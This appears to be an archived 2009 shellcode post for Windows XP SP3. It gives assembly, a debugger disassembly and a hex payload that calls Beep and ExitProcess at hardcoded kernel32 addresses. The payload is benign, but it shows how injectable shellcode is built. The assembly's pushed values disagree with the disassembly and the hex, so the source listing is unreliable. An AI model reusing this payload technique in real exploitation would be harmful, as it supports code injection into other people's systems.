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Windows XP-SP3 Beep And Exit Process Shellcode

Windows XP-SP3 Beep And Exit Process Shellcode
Posted Jul 1, 2009

Microsoft Windows XP SP3 beep and exitprocess shellcode.

tags | shellcode
systems | windows
SHA-256 | 190588395aeb2cf86fd73694692d0b8002eeb35705a2dbf504ad7787187ca50c

Windows XP-SP3 Beep And Exit Process Shellcode

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windows xp-sp3 beep and exitprocess shellcode
author REMOVED AT REQUEST OF AUTHOR
contact REMOVED AT REQUEST OF AUTHOR

this shellcode is using API call "Beep" which is in kernel32.dll
adress of this API is 7C837A8Fh
adress of exitprocess is 7C81CAFAh

here is assembler code using Intel sintax and MASM32
-------------------- begin----------------
.386

.model flat, STDCALL

.data

.code

start:

xor eax,eax

mov eax,7C837A8Fh ;putting address of beep call

push 200h ; frequency

push 200h ; lenght

call eax ; calling beep

xor eax,eax ; setting 0 to eax register

mov eax,7C81CAFAh ; putting address of exitprocess call

call eax ;calling exitprocess

end start

------------------------end-----------


if we disassemle this code with olly debugger we will get following



00401000 > $ 33C0 XOR EAX,EAX ; |
00401002 . B8 8F7A837C MOV EAX,kernel32.Beep ; |
00401007 . 68 00040000 PUSH 400 ; |/Duration = 1024. ms
0040100C . 68 00030000 PUSH 300 ; ||Frequency = 300 (768.)
00401011 . FFD0 CALL EAX ; |\Beep
00401013 . 33C0 XOR EAX,EAX ; |
00401015 . B8 FACA817C MOV EAX,kernel32.ExitProcess ; |
0040101A . FFD0 CALL EAX ; \ExitProcess







and here is the shellcode

\x33\xC0\xB8\x8F\x7A\x83\x7C\x68\x00\x04\x00\x00\x68\x00\x03\x00\x00\xFF\xD0\x33\xC0\xB8\xFA\xCA\x81\x7C\xFF\xD0

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